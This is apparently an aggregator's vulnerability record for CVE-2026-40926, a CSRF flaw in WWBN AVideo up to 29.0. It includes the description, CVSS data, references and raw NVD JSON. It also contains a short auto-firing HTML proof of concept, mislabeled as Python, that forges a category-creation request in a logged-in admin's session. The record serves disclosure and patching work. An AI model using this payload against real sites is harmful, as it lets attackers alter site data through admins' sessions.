CVE-2026-40926

Description

WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 29.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-40926 -->
<!-- This HTML page demonstrates how an attacker could trigger the category creation via CSRF -->
<html>
  <body>
    <script>
      function exploit() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://target-site/objects/categoryAddNew.json.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        // Payload to create a new category
        xhr.send("name=HackedCategory&parents_id=0");
      }
      // Auto-trigger on load
      exploit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40926
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40926
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40926/
[4] VulDB https://vuldb.com/cve/CVE-2026-40926
[5] https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w
[7] https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40926", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:20.163", "lastModified": "2026-04-23T15:48:02.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "29.0", "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}